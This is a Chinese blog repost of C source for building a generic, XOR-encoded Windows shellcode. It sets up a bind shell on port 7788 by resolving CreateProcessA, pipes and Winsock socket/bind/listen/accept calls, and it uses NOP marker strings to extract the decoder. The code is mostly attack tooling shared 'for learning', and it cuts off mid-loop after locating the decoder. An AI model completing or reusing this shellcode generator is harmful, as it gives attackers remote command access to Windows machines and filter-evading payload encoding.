学习ShellCode(一)

类别:VC语言 点击:0 评论:0 推荐:

前几天看了看x的shellcode,有很多东西部是很懂,今天找了找在安全焦点http://www.xfocus.net/找到一个高人写的,看了看思路,写得很不错,所以贴出来大家看看,以方便以后学习用阿!

?

这个是通用的shellcode,自己在vc++下编译一下!

/*
??????????? 使用C语言编写通用shellcode的程序
出处:internet
修改:Hume/冷雨飘心
测试:Win2K SP4 Local

*/
#include
#include
#include

#define? DEBUG 1

//
//函数原型
//
void???? DecryptSc();
void???? ShellCodes();
void???? PrintSc(char *lpBuff, int buffsize);

//
//用到的部分定义
//
#define? BEGINSTRLEN??? 0x08??? //开始字符串长度
#define? ENDSTRLEN????? 0x08??? //结束标记字符的长度
#define? nop_CODE?????? 0x90??? //填充字符
#define? nop_LEN??????? 0x0???? //ShellCode起始的填充长度
#define? BUFFSIZE?????? 0x20000 //输出缓冲区大小

#define? sc_PORT??????? 7788??? //绑定端口号 0x1e6c
#define? sc_BUFFSIZE??? 0x2000? //ShellCode缓冲区大小

#define? Enc_key??????? 0x7A??? //编码密钥

#define? MAX_Enc_Len??? 0x400?? //加密代码的最大长度 1024足够?
#define? MAX_Sc_Len???? 0x2000? //hellCode的最大长度 8192足够?
#define? MAX_api_strlen 0x400?? //APIstr字符串的长度
#define? API_endstr???? "strend"//API结尾标记字符串???
#define? API_endstrlen? 0x06??? //标记字符串长度

#define PROC_BEGIN __asm? _emit 0x90 __asm? _emit 0x90 __asm? _emit 0x90 __asm? _emit 0x90\
?????????????????? __asm? _emit 0x90 __asm? _emit 0x90 __asm? _emit 0x90 __asm? _emit 0x90
#define PROC_END PROC_BEGIN
//---------------------------------------------------
enum{?????? //Kernel32
??????????? _CreatePipe,
??????????? _CreateProcessA,
??????????? _CloseHandle,
??????????? _PeekNamedPipe,
??????????? _ReadFile,
??????????? _WriteFile,
??????????? _ExitProcess,

??????????? //WS2_32
??????????? _socket,
??????????? _bind,
??????????? _listen,
??????????? _accept,
??????????? _send,
??????????? _recv,
??????????? _ioctlsocket,
??????????? _closesocket,

??????????? //本机测试User32
??????????? _MessageBeep,
??????????? _MessageBoxA,
??????????? API_num
};

//
//代码这里开始
//
int __cdecl main(int argc, char **argv)
{
? //shellcode中要用到的字符串
? static char ApiStr[]="\x1e\x6c"?? //端口地址

??????????? //Kernel32的API函数名称
??????????? "CreatePipe""\x0"
??????????? "CreateProcessA""\x0"
??????????? "CloseHandle""\x0"
??????????? "PeekNamedPipe""\x0"
??????????? "ReadFile""\x0"
??????????? "WriteFile""\x0"
??????????? "ExitProcess""\x0"

??????????? //其它API中用到的API
??????????? "wsock32.dll""\x0"
??????????? "socket""\x0"
??????????? "bind""\x0"
??????????? "listen""\x0"
??????????? "accept""\x0"
??????????? "send""\x0"
??????????? "recv""\x0"
??????????? "ioctlsocket""\x0"
??????????? "closesocket""\x0"
??????????? //本机测试
??????????? "user32.dll""\x0"
??????????? "MessageBeep""\x0"
??????????? "MessageBoxA""\x0"

??????????? "\x0\x0\x0\x0\x0"
??????????? "strend";

? char? *fnbgn_str="\x90\x90\x90\x90\x90\x90\x90\x90\x90";? //标记开始的字符串
? char? *fnend_str="\x90\x90\x90\x90\x90\x90\x90\x90\x90";? //标记结束的字符串

? char? buff[BUFFSIZE];???????? //缓冲区
? char? sc_buff[sc_BUFFSIZE];?? //ShellCodes缓冲
? char? *pDcrypt_addr,
??????? *pSc_addr;

? int?? buff_len;?????????????? //缓冲长度
? int?? EncCode_len;??????????? //加密编码代码长度
? int?? Sc_len;???????????????? //原始ShellCode的长度

? int?????? i,k;
? unsigned? char ch;

? //
? //获得DecryptSc()地址,解码函数的地址,然后搜索MAX_Enc_Len字节,查找标记开始的字符串
? //获得真正的解码汇编代码的开始地址,MAX_Enc_Len定义为1024字节一般这已经足够了,然后将这
? //部分代码拷贝入待输出ShellCode的缓冲区准备进一步处理
? //
? pDcrypt_addr=(char *)DecryptSc;

? //定位其实际地址,因为在用Visual Studio生成调试版本调试的情况下,编译器会生成跳转表,
? //从跳转表中要计算得出函数实际所在的地址,这只是为了方便用VC调试

? ch=*pDcrypt_addr;
? if (ch==0xe9)
? {
????? pDcrypt_addr++;
????? i=*(int *)pDcrypt_addr;
????? pDcrypt_addr+=(i+4);????? //此时指向函数的实际地址
? }
? //找到解码代码的开始部分
? for(k=0;k

本文地址:http://com.8s8s.com/it/it771.htm